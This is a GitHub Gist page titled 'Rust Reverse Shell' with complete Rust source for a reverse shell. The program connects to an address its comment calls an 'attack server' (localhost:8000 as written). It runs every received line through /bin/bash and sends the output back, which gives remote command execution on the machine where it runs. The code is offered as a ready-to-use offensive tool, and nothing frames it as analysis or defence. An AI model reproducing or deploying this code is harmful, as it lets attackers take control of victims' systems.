Created
January 13, 2022 03:41
-
-
Save mttaggart/e1e55a5288515a88ec38c56cf5c1fd2b to your computer and use it in GitHub Desktop.
Rust Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{ | |
net::{TcpStream}, | |
io::{Write, BufReader, BufWriter, BufRead}, | |
process::Command | |
}; | |
fn handle_client(stream: TcpStream) { | |
println!("Connection from {}", stream.peer_addr().unwrap()); | |
// Create BufReader and BufWriter for easy work | |
let mut stream_write = BufWriter::new( | |
stream.try_clone().unwrap() | |
); | |
let mut stream_buf = BufReader::new(stream); | |
loop { | |
stream_write.write("$ ".as_bytes()).unwrap(); | |
stream_write.flush().unwrap(); | |
let mut stream_string = String::new(); | |
match stream_buf.read_line(&mut stream_string) { | |
Ok(b) => { | |
if b > 0 { | |
// Do the thing | |
let child = Command::new("/bin/bash") | |
.arg("-c") | |
.arg(format!("{}", stream_string.trim())) | |
.output() | |
.expect("Command failed"); | |
stream_write.write(&child.stdout).unwrap(); | |
stream_write.write(&child.stderr).unwrap(); | |
stream_write.flush().unwrap(); | |
} else { | |
println!("Connection closed"); | |
break; | |
} | |
}, | |
Err(_) => {println!("Connection closed"); break} | |
} | |
} | |
} | |
fn main() -> std::io::Result<()> { | |
// Connect to attack server | |
let connect_addr = "127.0.0.1"; | |
let connect_port = "8000"; | |
let connection = TcpStream::connect(format!("{}:{}", connect_addr, connect_port))?; | |
println!("Starting server on {}:{}", connect_addr, connect_port); | |
handle_client(connection); | |
Ok(()) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment